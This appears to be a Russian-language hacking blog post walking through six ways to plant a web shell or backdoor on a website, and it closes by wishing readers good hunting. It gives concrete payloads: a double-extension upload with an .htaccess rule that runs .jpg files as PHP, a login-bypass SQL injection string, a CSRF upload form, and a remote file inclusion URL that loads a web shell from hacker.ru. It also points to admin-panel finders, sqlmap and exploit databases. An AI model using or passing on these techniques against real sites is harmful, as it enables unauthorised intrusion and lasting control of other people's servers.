Виды загрузок шелла или бэкдора на сайт
Сегодня мы расскажем вам о 6 способах загрузить шелл или бэкдор на сайт.
Всем салют, дорогие друзья!
Сегодня мы расскажем вам о способах загрузить шелл или бэкдор на сайт.
Способ 1
Для начала необходимо найти на сайте форму для загрузки файлов/картинок.
- Допустим нам не удалось взломать админку сайта и мы пытаемся залить наш шелл с расширением .php.jpg.
- Если удалось, то мы увидим вместо картинки белое окно.
- Далее мы кликаем правой кнопкой мыши и переходим по ссылке.
В случае провала мы можем воспользоваться расширением chrome - tamper data. Оно позволяет перехватить и изменить запрос, как вы хотите.
AddType application/x-httpd-php .jpg
Приведенная выше команда будет выполнять jpg файлы, как php.
Способ 2
- Воспользуемся программой для поиска админок на сайте - https://github.com/bdblackhat/admin-panel-finder.
- Когда программа нашла админку мы можем попробовать провести sql-injection.
- В поле логина и пароля сайта мы вбиваем код:
' or '1'='1 ' OR 1=1/*
- Если срабатывает, то мы попадаем в админку и действуем по 1 способу.
- Если же на сайте в панели администратора нет sql-injection, тогда мы можем попробовать сбрутить или же найти эксплоит под данную CMS.
Способ 3
В 3 способе мы будем искать sql-injection на самом сайте. Мы может делать это вручную или же воспользуемся sqlmap.
Итак, вот мы уже нашли таблицу с логином и паролем админа расшифровываем хэши заходим в админку и радуемся.
- Но, допустим, мы не смогли расшифровать пароль и все накрылось медным тазом, тогда мы должны проверить привилегии нашего юзера.
- Проверяем привилегии и загружаем мини-шелл.
Способ 4
Четвертый способ подразумевает проведение csrf атаки. В ниже приведенном коде нам нужно заменить http:// на ссылку нашей цели. Выбрать шелл и нажать кнопку upload.
<form method="POST" action="http://" enctype="multipart/form-data" > <input type="file" name="Filedata"></center><br> <input type="submit" name="Submit" value="Upload"> </form>
Способ 5
Для этого способа необходимо узнать как можно больше о вашей цели и подыскать подходящий эксплоит. Для этого есть очень интересный сайт - https://www.exploit-db.com.
Существует еще множество способов заливки шелла и рассказывать о каждом нет смысла. Если вы хотите потренироваться, то установите dvwa - это программа созданная для того, чтобы помочь профессионалам по безопасности протестировать их навыки и инструменты в легальном окружении.
Способ 6
Php-injection - это форма атаки на сайт, когда атакующий внедряет свой php-код в атакуемое php-приложение.
www.site.ru?page=home.html
Выполнив команду выше мы подгрузим страницу home.html.
www.site.ru?page=http:/hacker.ru/webshell.php
Также есть способ найти уже залитый шелл с помощью скрипта.
На сегодня это все. Желаем удачной охоты!